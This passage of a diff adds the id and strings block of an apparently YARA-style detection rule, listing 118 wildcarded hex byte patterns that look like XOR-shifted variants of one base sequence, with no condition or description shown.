+		id = "8e33c63d-eaba-5851-88f4-ef7261a0a618"
+    strings:
+		$s000 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 03 00 02 00 04 ?? ?? ?? ?? 00 04 00 02 00 04 ?? ?? ?? ?? 00 05 00 01 00 02 ?? ?? }
+		$s001 = { 01 00 01 00 01 03 ?? ?? 01 03 01 00 01 03 ?? ?? 01 02 01 03 01 05 ?? ?? ?? ?? 01 05 01 03 01 05 ?? ?? ?? ?? 01 04 01 00 01 03 ?? ?? }
+		$s002 = { 02 03 02 03 02 00 ?? ?? 02 00 02 03 02 00 ?? ?? 02 01 02 00 02 06 ?? ?? ?? ?? 02 06 02 00 02 06 ?? ?? ?? ?? 02 07 02 03 02 00 ?? ?? }
+		$s003 = { 03 02 03 02 03 01 ?? ?? 03 01 03 02 03 01 ?? ?? 03 00 03 01 03 07 ?? ?? ?? ?? 03 07 03 01 03 07 ?? ?? ?? ?? 03 06 03 02 03 01 ?? ?? }
+		$s004 = { 04 05 04 05 04 06 ?? ?? 04 06 04 05 04 06 ?? ?? 04 07 04 06 04 00 ?? ?? ?? ?? 04 00 04 06 04 00 ?? ?? ?? ?? 04 01 04 05 04 06 ?? ?? }
+		$s005 = { 05 04 05 04 05 07 ?? ?? 05 07 05 04 05 07 ?? ?? 05 06 05 07 05 01 ?? ?? ?? ?? 05 01 05 07 05 01 ?? ?? ?? ?? 05 00 05 04 05 07 ?? ?? }
+		$s006 = { 06 07 06 07 06 04 ?? ?? 06 04 06 07 06 04 ?? ?? 06 05 06 04 06 02 ?? ?? ?? ?? 06 02 06 04 06 02 ?? ?? ?? ?? 06 03 06 07 06 04 ?? ?? }
+		$s007 = { 07 06 07 06 07 05 ?? ?? 07 05 07 06 07 05 ?? ?? 07 04 07 05 07 03 ?? ?? ?? ?? 07 03 07 05 07 03 ?? ?? ?? ?? 07 02 07 06 07 05 ?? ?? }
+		$s008 = { 08 09 08 09 08 0A ?? ?? 08 0A 08 09 08 0A ?? ?? 08 0B 08 0A 08 0C ?? ?? ?? ?? 08 0C 08 0A 08 0C ?? ?? ?? ?? 08 0D 08 09 08 0A ?? ?? }
+		$s009 = { 09 08 09 08 09 0B ?? ?? 09 0B 09 08 09 0B ?? ?? 09 0A 09 0B 09 0D ?? ?? ?? ?? 09 0D 09 0B 09 0D ?? ?? ?? ?? 09 0C 09 08 09 0B ?? ?? }
+		$s010 = { 0A 0B 0A 0B 0A 08 ?? ?? 0A 08 0A 0B 0A 08 ?? ?? 0A 09 0A 08 0A 0E ?? ?? ?? ?? 0A 0E 0A 08 0A 0E ?? ?? ?? ?? 0A 0F 0A 0B 0A 08 ?? ?? }
+		$s011 = { 0B 0A 0B 0A 0B 09 ?? ?? 0B 09 0B 0A 0B 09 ?? ?? 0B 08 0B 09 0B 0F ?? ?? ?? ?? 0B 0F 0B 09 0B 0F ?? ?? ?? ?? 0B 0E 0B 0A 0B 09 ?? ?? }
+		$s012 = { 0C 0D 0C 0D 0C 0E ?? ?? 0C 0E 0C 0D 0C 0E ?? ?? 0C 0F 0C 0E 0C 08 ?? ?? ?? ?? 0C 08 0C 0E 0C 08 ?? ?? ?? ?? 0C 09 0C 0D 0C 0E ?? ?? }
+		$s013 = { 0D 0C 0D 0C 0D 0F ?? ?? 0D 0F 0D 0C 0D 0F ?? ?? 0D 0E 0D 0F 0D 09 ?? ?? ?? ?? 0D 09 0D 0F 0D 09 ?? ?? ?? ?? 0D 08 0D 0C 0D 0F ?? ?? }
+		$s014 = { 0E 0F 0E 0F 0E 0C ?? ?? 0E 0C 0E 0F 0E 0C ?? ?? 0E 0D 0E 0C 0E 0A ?? ?? ?? ?? 0E 0A 0E 0C 0E 0A ?? ?? ?? ?? 0E 0B 0E 0F 0E 0C ?? ?? }
+		$s015 = { 0F 0E 0F 0E 0F 0D ?? ?? 0F 0D 0F 0E 0F 0D ?? ?? 0F 0C 0F 0D 0F 0B ?? ?? ?? ?? 0F 0B 0F 0D 0F 0B ?? ?? ?? ?? 0F 0A 0F 0E 0F 0D ?? ?? }
+		$s016 = { 10 11 10 11 10 12 ?? ?? 10 12 10 11 10 12 ?? ?? 10 13 10 12 10 14 ?? ?? ?? ?? 10 14 10 12 10 14 ?? ?? ?? ?? 10 15 10 11 10 12 ?? ?? }
+		$s017 = { 11 10 11 10 11 13 ?? ?? 11 13 11 10 11 13 ?? ?? 11 12 11 13 11 15 ?? ?? ?? ?? 11 15 11 13 11 15 ?? ?? ?? ?? 11 14 11 10 11 13 ?? ?? }
+		$s018 = { 12 13 12 13 12 10 ?? ?? 12 10 12 13 12 10 ?? ?? 12 11 12 10 12 16 ?? ?? ?? ?? 12 16 12 10 12 16 ?? ?? ?? ?? 12 17 12 13 12 10 ?? ?? }
+		$s019 = { 13 12 13 12 13 11 ?? ?? 13 11 13 12 13 11 ?? ?? 13 10 13 11 13 17 ?? ?? ?? ?? 13 17 13 11 13 17 ?? ?? ?? ?? 13 16 13 12 13 11 ?? ?? }
+		$s020 = { 14 15 14 15 14 16 ?? ?? 14 16 14 15 14 16 ?? ?? 14 17 14 16 14 10 ?? ?? ?? ?? 14 10 14 16 14 10 ?? ?? ?? ?? 14 11 14 15 14 16 ?? ?? }
+		$s021 = { 15 14 15 14 15 17 ?? ?? 15 17 15 14 15 17 ?? ?? 15 16 15 17 15 11 ?? ?? ?? ?? 15 11 15 17 15 11 ?? ?? ?? ?? 15 10 15 14 15 17 ?? ?? }
+		$s022 = { 16 17 16 17 16 14 ?? ?? 16 14 16 17 16 14 ?? ?? 16 15 16 14 16 12 ?? ?? ?? ?? 16 12 16 14 16 12 ?? ?? ?? ?? 16 13 16 17 16 14 ?? ?? }
+		$s023 = { 17 16 17 16 17 15 ?? ?? 17 15 17 16 17 15 ?? ?? 17 14 17 15 17 13 ?? ?? ?? ?? 17 13 17 15 17 13 ?? ?? ?? ?? 17 12 17 16 17 15 ?? ?? }
+		$s024 = { 18 19 18 19 18 1A ?? ?? 18 1A 18 19 18 1A ?? ?? 18 1B 18 1A 18 1C ?? ?? ?? ?? 18 1C 18 1A 18 1C ?? ?? ?? ?? 18 1D 18 19 18 1A ?? ?? }
+		$s025 = { 19 18 19 18 19 1B ?? ?? 19 1B 19 18 19 1B ?? ?? 19 1A 19 1B 19 1D ?? ?? ?? ?? 19 1D 19 1B 19 1D ?? ?? ?? ?? 19 1C 19 18 19 1B ?? ?? }
+		$s026 = { 1A 1B 1A 1B 1A 18 ?? ?? 1A 18 1A 1B 1A 18 ?? ?? 1A 19 1A 18 1A 1E ?? ?? ?? ?? 1A 1E 1A 18 1A 1E ?? ?? ?? ?? 1A 1F 1A 1B 1A 18 ?? ?? }
+		$s027 = { 1B 1A 1B 1A 1B 19 ?? ?? 1B 19 1B 1A 1B 19 ?? ?? 1B 18 1B 19 1B 1F ?? ?? ?? ?? 1B 1F 1B 19 1B 1F ?? ?? ?? ?? 1B 1E 1B 1A 1B 19 ?? ?? }
+		$s028 = { 1C 1D 1C 1D 1C 1E ?? ?? 1C 1E 1C 1D 1C 1E ?? ?? 1C 1F 1C 1E 1C 18 ?? ?? ?? ?? 1C 18 1C 1E 1C 18 ?? ?? ?? ?? 1C 19 1C 1D 1C 1E ?? ?? }
+		$s029 = { 1D 1C 1D 1C 1D 1F ?? ?? 1D 1F 1D 1C 1D 1F ?? ?? 1D 1E 1D 1F 1D 19 ?? ?? ?? ?? 1D 19 1D 1F 1D 19 ?? ?? ?? ?? 1D 18 1D 1C 1D 1F ?? ?? }
+		$s030 = { 1E 1F 1E 1F 1E 1C ?? ?? 1E 1C 1E 1F 1E 1C ?? ?? 1E 1D 1E 1C 1E 1A ?? ?? ?? ?? 1E 1A 1E 1C 1E 1A ?? ?? ?? ?? 1E 1B 1E 1F 1E 1C ?? ?? }
+		$s031 = { 1F 1E 1F 1E 1F 1D ?? ?? 1F 1D 1F 1E 1F 1D ?? ?? 1F 1C 1F 1D 1F 1B ?? ?? ?? ?? 1F 1B 1F 1D 1F 1B ?? ?? ?? ?? 1F 1A 1F 1E 1F 1D ?? ?? }
+		$s032 = { 20 21 20 21 20 22 ?? ?? 20 22 20 21 20 22 ?? ?? 20 23 20 22 20 24 ?? ?? ?? ?? 20 24 20 22 20 24 ?? ?? ?? ?? 20 25 20 21 20 22 ?? ?? }
+		$s033 = { 21 20 21 20 21 23 ?? ?? 21 23 21 20 21 23 ?? ?? 21 22 21 23 21 25 ?? ?? ?? ?? 21 25 21 23 21 25 ?? ?? ?? ?? 21 24 21 20 21 23 ?? ?? }
+		$s034 = { 22 23 22 23 22 20 ?? ?? 22 20 22 23 22 20 ?? ?? 22 21 22 20 22 26 ?? ?? ?? ?? 22 26 22 20 22 26 ?? ?? ?? ?? 22 27 22 23 22 20 ?? ?? }
+		$s035 = { 23 22 23 22 23 21 ?? ?? 23 21 23 22 23 21 ?? ?? 23 20 23 21 23 27 ?? ?? ?? ?? 23 27 23 21 23 27 ?? ?? ?? ?? 23 26 23 22 23 21 ?? ?? }
+		$s036 = { 24 25 24 25 24 26 ?? ?? 24 26 24 25 24 26 ?? ?? 24 27 24 26 24 20 ?? ?? ?? ?? 24 20 24 26 24 20 ?? ?? ?? ?? 24 21 24 25 24 26 ?? ?? }
+		$s037 = { 25 24 25 24 25 27 ?? ?? 25 27 25 24 25 27 ?? ?? 25 26 25 27 25 21 ?? ?? ?? ?? 25 21 25 27 25 21 ?? ?? ?? ?? 25 20 25 24 25 27 ?? ?? }
+		$s038 = { 26 27 26 27 26 24 ?? ?? 26 24 26 27 26 24 ?? ?? 26 25 26 24 26 22 ?? ?? ?? ?? 26 22 26 24 26 22 ?? ?? ?? ?? 26 23 26 27 26 24 ?? ?? }
+		$s039 = { 27 26 27 26 27 25 ?? ?? 27 25 27 26 27 25 ?? ?? 27 24 27 25 27 23 ?? ?? ?? ?? 27 23 27 25 27 23 ?? ?? ?? ?? 27 22 27 26 27 25 ?? ?? }
+		$s040 = { 28 29 28 29 28 2A ?? ?? 28 2A 28 29 28 2A ?? ?? 28 2B 28 2A 28 2C ?? ?? ?? ?? 28 2C 28 2A 28 2C ?? ?? ?? ?? 28 2D 28 29 28 2A ?? ?? }
+		$s041 = { 29 28 29 28 29 2B ?? ?? 29 2B 29 28 29 2B ?? ?? 29 2A 29 2B 29 2D ?? ?? ?? ?? 29 2D 29 2B 29 2D ?? ?? ?? ?? 29 2C 29 28 29 2B ?? ?? }
+		$s042 = { 2A 2B 2A 2B 2A 28 ?? ?? 2A 28 2A 2B 2A 28 ?? ?? 2A 29 2A 28 2A 2E ?? ?? ?? ?? 2A 2E 2A 28 2A 2E ?? ?? ?? ?? 2A 2F 2A 2B 2A 28 ?? ?? }
+		$s043 = { 2B 2A 2B 2A 2B 29 ?? ?? 2B 29 2B 2A 2B 29 ?? ?? 2B 28 2B 29 2B 2F ?? ?? ?? ?? 2B 2F 2B 29 2B 2F ?? ?? ?? ?? 2B 2E 2B 2A 2B 29 ?? ?? }
+		$s044 = { 2C 2D 2C 2D 2C 2E ?? ?? 2C 2E 2C 2D 2C 2E ?? ?? 2C 2F 2C 2E 2C 28 ?? ?? ?? ?? 2C 28 2C 2E 2C 28 ?? ?? ?? ?? 2C 29 2C 2D 2C 2E ?? ?? }
+		$s045 = { 2D 2C 2D 2C 2D 2F ?? ?? 2D 2F 2D 2C 2D 2F ?? ?? 2D 2E 2D 2F 2D 29 ?? ?? ?? ?? 2D 29 2D 2F 2D 29 ?? ?? ?? ?? 2D 28 2D 2C 2D 2F ?? ?? }
+		$s046 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E 2D 2E 2C 2E 2A ?? ?? ?? ?? 2E 2A 2E 2C 2E 2A ?? ?? ?? ?? 2E 2B 2E 2F 2E 2C ?? ?? }
+		$s047 = { 2F 2E 2F 2E 2F 2D ?? ?? 2F 2D 2F 2E 2F 2D ?? ?? 2F 2C 2F 2D 2F 2B ?? ?? ?? ?? 2F 2B 2F 2D 2F 2B ?? ?? ?? ?? 2F 2A 2F 2E 2F 2D ?? ?? }
+		$s048 = { 30 31 30 31 30 32 ?? ?? 30 32 30 31 30 32 ?? ?? 30 33 30 32 30 34 ?? ?? ?? ?? 30 34 30 32 30 34 ?? ?? ?? ?? 30 35 30 31 30 32 ?? ?? }
+		$s049 = { 31 30 31 30 31 33 ?? ?? 31 33 31 30 31 33 ?? ?? 31 32 31 33 31 35 ?? ?? ?? ?? 31 35 31 33 31 35 ?? ?? ?? ?? 31 34 31 30 31 33 ?? ?? }
+		$s050 = { 32 33 32 33 32 30 ?? ?? 32 30 32 33 32 30 ?? ?? 32 31 32 30 32 36 ?? ?? ?? ?? 32 36 32 30 32 36 ?? ?? ?? ?? 32 37 32 33 32 30 ?? ?? }
+		$s051 = { 33 32 33 32 33 31 ?? ?? 33 31 33 32 33 31 ?? ?? 33 30 33 31 33 37 ?? ?? ?? ?? 33 37 33 31 33 37 ?? ?? ?? ?? 33 36 33 32 33 31 ?? ?? }
+		$s052 = { 34 35 34 35 34 36 ?? ?? 34 36 34 35 34 36 ?? ?? 34 37 34 36 34 30 ?? ?? ?? ?? 34 30 34 36 34 30 ?? ?? ?? ?? 34 31 34 35 34 36 ?? ?? }
+		$s053 = { 35 34 35 34 35 37 ?? ?? 35 37 35 34 35 37 ?? ?? 35 36 35 37 35 31 ?? ?? ?? ?? 35 31 35 37 35 31 ?? ?? ?? ?? 35 30 35 34 35 37 ?? ?? }
+		$s054 = { 36 37 36 37 36 34 ?? ?? 36 34 36 37 36 34 ?? ?? 36 35 36 34 36 32 ?? ?? ?? ?? 36 32 36 34 36 32 ?? ?? ?? ?? 36 33 36 37 36 34 ?? ?? }
+		$s055 = { 37 36 37 36 37 35 ?? ?? 37 35 37 36 37 35 ?? ?? 37 34 37 35 37 33 ?? ?? ?? ?? 37 33 37 35 37 33 ?? ?? ?? ?? 37 32 37 36 37 35 ?? ?? }
+		$s056 = { 38 39 38 39 38 3A ?? ?? 38 3A 38 39 38 3A ?? ?? 38 3B 38 3A 38 3C ?? ?? ?? ?? 38 3C 38 3A 38 3C ?? ?? ?? ?? 38 3D 38 39 38 3A ?? ?? }
+		$s057 = { 39 38 39 38 39 3B ?? ?? 39 3B 39 38 39 3B ?? ?? 39 3A 39 3B 39 3D ?? ?? ?? ?? 39 3D 39 3B 39 3D ?? ?? ?? ?? 39 3C 39 38 39 3B ?? ?? }
+		$s058 = { 3A 3B 3A 3B 3A 38 ?? ?? 3A 38 3A 3B 3A 38 ?? ?? 3A 39 3A 38 3A 3E ?? ?? ?? ?? 3A 3E 3A 38 3A 3E ?? ?? ?? ?? 3A 3F 3A 3B 3A 38 ?? ?? }
+		$s059 = { 3B 3A 3B 3A 3B 39 ?? ?? 3B 39 3B 3A 3B 39 ?? ?? 3B 38 3B 39 3B 3F ?? ?? ?? ?? 3B 3F 3B 39 3B 3F ?? ?? ?? ?? 3B 3E 3B 3A 3B 39 ?? ?? }
+		$s060 = { 3C 3D 3C 3D 3C 3E ?? ?? 3C 3E 3C 3D 3C 3E ?? ?? 3C 3F 3C 3E 3C 38 ?? ?? ?? ?? 3C 38 3C 3E 3C 38 ?? ?? ?? ?? 3C 39 3C 3D 3C 3E ?? ?? }
+		$s061 = { 3D 3C 3D 3C 3D 3F ?? ?? 3D 3F 3D 3C 3D 3F ?? ?? 3D 3E 3D 3F 3D 39 ?? ?? ?? ?? 3D 39 3D 3F 3D 39 ?? ?? ?? ?? 3D 38 3D 3C 3D 3F ?? ?? }
+		$s062 = { 3E 3F 3E 3F 3E 3C ?? ?? 3E 3C 3E 3F 3E 3C ?? ?? 3E 3D 3E 3C 3E 3A ?? ?? ?? ?? 3E 3A 3E 3C 3E 3A ?? ?? ?? ?? 3E 3B 3E 3F 3E 3C ?? ?? }
+		$s063 = { 3F 3E 3F 3E 3F 3D ?? ?? 3F 3D 3F 3E 3F 3D ?? ?? 3F 3C 3F 3D 3F 3B ?? ?? ?? ?? 3F 3B 3F 3D 3F 3B ?? ?? ?? ?? 3F 3A 3F 3E 3F 3D ?? ?? }
+		$s064 = { 40 41 40 41 40 42 ?? ?? 40 42 40 41 40 42 ?? ?? 40 43 40 42 40 44 ?? ?? ?? ?? 40 44 40 42 40 44 ?? ?? ?? ?? 40 45 40 41 40 42 ?? ?? }
+		$s065 = { 41 40 41 40 41 43 ?? ?? 41 43 41 40 41 43 ?? ?? 41 42 41 43 41 45 ?? ?? ?? ?? 41 45 41 43 41 45 ?? ?? ?? ?? 41 44 41 40 41 43 ?? ?? }
+		$s066 = { 42 43 42 43 42 40 ?? ?? 42 40 42 43 42 40 ?? ?? 42 41 42 40 42 46 ?? ?? ?? ?? 42 46 42 40 42 46 ?? ?? ?? ?? 42 47 42 43 42 40 ?? ?? }
+		$s067 = { 43 42 43 42 43 41 ?? ?? 43 41 43 42 43 41 ?? ?? 43 40 43 41 43 47 ?? ?? ?? ?? 43 47 43 41 43 47 ?? ?? ?? ?? 43 46 43 42 43 41 ?? ?? }
+		$s068 = { 44 45 44 45 44 46 ?? ?? 44 46 44 45 44 46 ?? ?? 44 47 44 46 44 40 ?? ?? ?? ?? 44 40 44 46 44 40 ?? ?? ?? ?? 44 41 44 45 44 46 ?? ?? }
+		$s069 = { 45 44 45 44 45 47 ?? ?? 45 47 45 44 45 47 ?? ?? 45 46 45 47 45 41 ?? ?? ?? ?? 45 41 45 47 45 41 ?? ?? ?? ?? 45 40 45 44 45 47 ?? ?? }
+		$s070 = { 46 47 46 47 46 44 ?? ?? 46 44 46 47 46 44 ?? ?? 46 45 46 44 46 42 ?? ?? ?? ?? 46 42 46 44 46 42 ?? ?? ?? ?? 46 43 46 47 46 44 ?? ?? }
+		$s071 = { 47 46 47 46 47 45 ?? ?? 47 45 47 46 47 45 ?? ?? 47 44 47 45 47 43 ?? ?? ?? ?? 47 43 47 45 47 43 ?? ?? ?? ?? 47 42 47 46 47 45 ?? ?? }
+		$s072 = { 48 49 48 49 48 4A ?? ?? 48 4A 48 49 48 4A ?? ?? 48 4B 48 4A 48 4C ?? ?? ?? ?? 48 4C 48 4A 48 4C ?? ?? ?? ?? 48 4D 48 49 48 4A ?? ?? }
+		$s073 = { 49 48 49 48 49 4B ?? ?? 49 4B 49 48 49 4B ?? ?? 49 4A 49 4B 49 4D ?? ?? ?? ?? 49 4D 49 4B 49 4D ?? ?? ?? ?? 49 4C 49 48 49 4B ?? ?? }
+		$s074 = { 4A 4B 4A 4B 4A 48 ?? ?? 4A 48 4A 4B 4A 48 ?? ?? 4A 49 4A 48 4A 4E ?? ?? ?? ?? 4A 4E 4A 48 4A 4E ?? ?? ?? ?? 4A 4F 4A 4B 4A 48 ?? ?? }
+		$s075 = { 4B 4A 4B 4A 4B 49 ?? ?? 4B 49 4B 4A 4B 49 ?? ?? 4B 48 4B 49 4B 4F ?? ?? ?? ?? 4B 4F 4B 49 4B 4F ?? ?? ?? ?? 4B 4E 4B 4A 4B 49 ?? ?? }
+		$s076 = { 4C 4D 4C 4D 4C 4E ?? ?? 4C 4E 4C 4D 4C 4E ?? ?? 4C 4F 4C 4E 4C 48 ?? ?? ?? ?? 4C 48 4C 4E 4C 48 ?? ?? ?? ?? 4C 49 4C 4D 4C 4E ?? ?? }
+		$s077 = { 4D 4C 4D 4C 4D 4F ?? ?? 4D 4F 4D 4C 4D 4F ?? ?? 4D 4E 4D 4F 4D 49 ?? ?? ?? ?? 4D 49 4D 4F 4D 49 ?? ?? ?? ?? 4D 48 4D 4C 4D 4F ?? ?? }
+		$s078 = { 4E 4F 4E 4F 4E 4C ?? ?? 4E 4C 4E 4F 4E 4C ?? ?? 4E 4D 4E 4C 4E 4A ?? ?? ?? ?? 4E 4A 4E 4C 4E 4A ?? ?? ?? ?? 4E 4B 4E 4F 4E 4C ?? ?? }
+		$s079 = { 4F 4E 4F 4E 4F 4D ?? ?? 4F 4D 4F 4E 4F 4D ?? ?? 4F 4C 4F 4D 4F 4B ?? ?? ?? ?? 4F 4B 4F 4D 4F 4B ?? ?? ?? ?? 4F 4A 4F 4E 4F 4D ?? ?? }
+		$s080 = { 50 51 50 51 50 52 ?? ?? 50 52 50 51 50 52 ?? ?? 50 53 50 52 50 54 ?? ?? ?? ?? 50 54 50 52 50 54 ?? ?? ?? ?? 50 55 50 51 50 52 ?? ?? }
+		$s081 = { 51 50 51 50 51 53 ?? ?? 51 53 51 50 51 53 ?? ?? 51 52 51 53 51 55 ?? ?? ?? ?? 51 55 51 53 51 55 ?? ?? ?? ?? 51 54 51 50 51 53 ?? ?? }
+		$s082 = { 52 53 52 53 52 50 ?? ?? 52 50 52 53 52 50 ?? ?? 52 51 52 50 52 56 ?? ?? ?? ?? 52 56 52 50 52 56 ?? ?? ?? ?? 52 57 52 53 52 50 ?? ?? }
+		$s083 = { 53 52 53 52 53 51 ?? ?? 53 51 53 52 53 51 ?? ?? 53 50 53 51 53 57 ?? ?? ?? ?? 53 57 53 51 53 57 ?? ?? ?? ?? 53 56 53 52 53 51 ?? ?? }
+		$s084 = { 54 55 54 55 54 56 ?? ?? 54 56 54 55 54 56 ?? ?? 54 57 54 56 54 50 ?? ?? ?? ?? 54 50 54 56 54 50 ?? ?? ?? ?? 54 51 54 55 54 56 ?? ?? }
+		$s085 = { 55 54 55 54 55 57 ?? ?? 55 57 55 54 55 57 ?? ?? 55 56 55 57 55 51 ?? ?? ?? ?? 55 51 55 57 55 51 ?? ?? ?? ?? 55 50 55 54 55 57 ?? ?? }
+		$s086 = { 56 57 56 57 56 54 ?? ?? 56 54 56 57 56 54 ?? ?? 56 55 56 54 56 52 ?? ?? ?? ?? 56 52 56 54 56 52 ?? ?? ?? ?? 56 53 56 57 56 54 ?? ?? }
+		$s087 = { 57 56 57 56 57 55 ?? ?? 57 55 57 56 57 55 ?? ?? 57 54 57 55 57 53 ?? ?? ?? ?? 57 53 57 55 57 53 ?? ?? ?? ?? 57 52 57 56 57 55 ?? ?? }
+		$s088 = { 58 59 58 59 58 5A ?? ?? 58 5A 58 59 58 5A ?? ?? 58 5B 58 5A 58 5C ?? ?? ?? ?? 58 5C 58 5A 58 5C ?? ?? ?? ?? 58 5D 58 59 58 5A ?? ?? }
+		$s089 = { 59 58 59 58 59 5B ?? ?? 59 5B 59 58 59 5B ?? ?? 59 5A 59 5B 59 5D ?? ?? ?? ?? 59 5D 59 5B 59 5D ?? ?? ?? ?? 59 5C 59 58 59 5B ?? ?? }
+		$s090 = { 5A 5B 5A 5B 5A 58 ?? ?? 5A 58 5A 5B 5A 58 ?? ?? 5A 59 5A 58 5A 5E ?? ?? ?? ?? 5A 5E 5A 58 5A 5E ?? ?? ?? ?? 5A 5F 5A 5B 5A 58 ?? ?? }
+		$s091 = { 5B 5A 5B 5A 5B 59 ?? ?? 5B 59 5B 5A 5B 59 ?? ?? 5B 58 5B 59 5B 5F ?? ?? ?? ?? 5B 5F 5B 59 5B 5F ?? ?? ?? ?? 5B 5E 5B 5A 5B 59 ?? ?? }
+		$s092 = { 5C 5D 5C 5D 5C 5E ?? ?? 5C 5E 5C 5D 5C 5E ?? ?? 5C 5F 5C 5E 5C 58 ?? ?? ?? ?? 5C 58 5C 5E 5C 58 ?? ?? ?? ?? 5C 59 5C 5D 5C 5E ?? ?? }
+		$s093 = { 5D 5C 5D 5C 5D 5F ?? ?? 5D 5F 5D 5C 5D 5F ?? ?? 5D 5E 5D 5F 5D 59 ?? ?? ?? ?? 5D 59 5D 5F 5D 59 ?? ?? ?? ?? 5D 58 5D 5C 5D 5F ?? ?? }
+		$s094 = { 5E 5F 5E 5F 5E 5C ?? ?? 5E 5C 5E 5F 5E 5C ?? ?? 5E 5D 5E 5C 5E 5A ?? ?? ?? ?? 5E 5A 5E 5C 5E 5A ?? ?? ?? ?? 5E 5B 5E 5F 5E 5C ?? ?? }
+		$s095 = { 5F 5E 5F 5E 5F 5D ?? ?? 5F 5D 5F 5E 5F 5D ?? ?? 5F 5C 5F 5D 5F 5B ?? ?? ?? ?? 5F 5B 5F 5D 5F 5B ?? ?? ?? ?? 5F 5A 5F 5E 5F 5D ?? ?? }
+		$s096 = { 60 61 60 61 60 62 ?? ?? 60 62 60 61 60 62 ?? ?? 60 63 60 62 60 64 ?? ?? ?? ?? 60 64 60 62 60 64 ?? ?? ?? ?? 60 65 60 61 60 62 ?? ?? }
+		$s097 = { 61 60 61 60 61 63 ?? ?? 61 63 61 60 61 63 ?? ?? 61 62 61 63 61 65 ?? ?? ?? ?? 61 65 61 63 61 65 ?? ?? ?? ?? 61 64 61 60 61 63 ?? ?? }
+		$s098 = { 62 63 62 63 62 60 ?? ?? 62 60 62 63 62 60 ?? ?? 62 61 62 60 62 66 ?? ?? ?? ?? 62 66 62 60 62 66 ?? ?? ?? ?? 62 67 62 63 62 60 ?? ?? }
+		$s099 = { 63 62 63 62 63 61 ?? ?? 63 61 63 62 63 61 ?? ?? 63 60 63 61 63 67 ?? ?? ?? ?? 63 67 63 61 63 67 ?? ?? ?? ?? 63 66 63 62 63 61 ?? ?? }
+		$s100 = { 64 65 64 65 64 66 ?? ?? 64 66 64 65 64 66 ?? ?? 64 67 64 66 64 60 ?? ?? ?? ?? 64 60 64 66 64 60 ?? ?? ?? ?? 64 61 64 65 64 66 ?? ?? }
+		$s101 = { 65 64 65 64 65 67 ?? ?? 65 67 65 64 65 67 ?? ?? 65 66 65 67 65 61 ?? ?? ?? ?? 65 61 65 67 65 61 ?? ?? ?? ?? 65 60 65 64 65 67 ?? ?? }
+		$s102 = { 66 67 66 67 66 64 ?? ?? 66 64 66 67 66 64 ?? ?? 66 65 66 64 66 62 ?? ?? ?? ?? 66 62 66 64 66 62 ?? ?? ?? ?? 66 63 66 67 66 64 ?? ?? }
+		$s103 = { 67 66 67 66 67 65 ?? ?? 67 65 67 66 67 65 ?? ?? 67 64 67 65 67 63 ?? ?? ?? ?? 67 63 67 65 67 63 ?? ?? ?? ?? 67 62 67 66 67 65 ?? ?? }
+		$s104 = { 68 69 68 69 68 6A ?? ?? 68 6A 68 69 68 6A ?? ?? 68 6B 68 6A 68 6C ?? ?? ?? ?? 68 6C 68 6A 68 6C ?? ?? ?? ?? 68 6D 68 69 68 6A ?? ?? }
+		$s105 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 6A 69 6B 69 6D ?? ?? ?? ?? 69 6D 69 6B 69 6D ?? ?? ?? ?? 69 6C 69 68 69 6B ?? ?? }
+		$s106 = { 6A 6B 6A 6B 6A 68 ?? ?? 6A 68 6A 6B 6A 68 ?? ?? 6A 69 6A 68 6A 6E ?? ?? ?? ?? 6A 6E 6A 68 6A 6E ?? ?? ?? ?? 6A 6F 6A 6B 6A 68 ?? ?? }
+		$s107 = { 6B 6A 6B 6A 6B 69 ?? ?? 6B 69 6B 6A 6B 69 ?? ?? 6B 68 6B 69 6B 6F ?? ?? ?? ?? 6B 6F 6B 69 6B 6F ?? ?? ?? ?? 6B 6E 6B 6A 6B 69 ?? ?? }
+		$s108 = { 6C 6D 6C 6D 6C 6E ?? ?? 6C 6E 6C 6D 6C 6E ?? ?? 6C 6F 6C 6E 6C 68 ?? ?? ?? ?? 6C 68 6C 6E 6C 68 ?? ?? ?? ?? 6C 69 6C 6D 6C 6E ?? ?? }
+		$s109 = { 6D 6C 6D 6C 6D 6F ?? ?? 6D 6F 6D 6C 6D 6F ?? ?? 6D 6E 6D 6F 6D 69 ?? ?? ?? ?? 6D 69 6D 6F 6D 69 ?? ?? ?? ?? 6D 68 6D 6C 6D 6F ?? ?? }
+		$s110 = { 6E 6F 6E 6F 6E 6C ?? ?? 6E 6C 6E 6F 6E 6C ?? ?? 6E 6D 6E 6C 6E 6A ?? ?? ?? ?? 6E 6A 6E 6C 6E 6A ?? ?? ?? ?? 6E 6B 6E 6F 6E 6C ?? ?? }
+		$s111 = { 6F 6E 6F 6E 6F 6D ?? ?? 6F 6D 6F 6E 6F 6D ?? ?? 6F 6C 6F 6D 6F 6B ?? ?? ?? ?? 6F 6B 6F 6D 6F 6B ?? ?? ?? ?? 6F 6A 6F 6E 6F 6D ?? ?? }
+		$s112 = { 70 71 70 71 70 72 ?? ?? 70 72 70 71 70 72 ?? ?? 70 73 70 72 70 74 ?? ?? ?? ?? 70 74 70 72 70 74 ?? ?? ?? ?? 70 75 70 71 70 72 ?? ?? }
+		$s113 = { 71 70 71 70 71 73 ?? ?? 71 73 71 70 71 73 ?? ?? 71 72 71 73 71 75 ?? ?? ?? ?? 71 75 71 73 71 75 ?? ?? ?? ?? 71 74 71 70 71 73 ?? ?? }
+		$s114 = { 72 73 72 73 72 70 ?? ?? 72 70 72 73 72 70 ?? ?? 72 71 72 70 72 76 ?? ?? ?? ?? 72 76 72 70 72 76 ?? ?? ?? ?? 72 77 72 73 72 70 ?? ?? }
+		$s115 = { 73 72 73 72 73 71 ?? ?? 73 71 73 72 73 71 ?? ?? 73 70 73 71 73 77 ?? ?? ?? ?? 73 77 73 71 73 77 ?? ?? ?? ?? 73 76 73 72 73 71 ?? ?? }
+		$s116 = { 74 75 74 75 74 76 ?? ?? 74 76 74 75 74 76 ?? ?? 74 77 74 76 74 70 ?? ?? ?? ?? 74 70 74 76 74 70 ?? ?? ?? ?? 74 71 74 75 74 76 ?? ?? }
+		$s117 = { 75 74 75 74 75 77 ?? ?? 75 77 75 74 75 77 ?? ?? 75 76 75 77 75 71 ?? ?? ?? ?? 75 71 75 77 75 71 ?? ?? ?? ?? 75 70 75 74 75 77 ?? ?? }
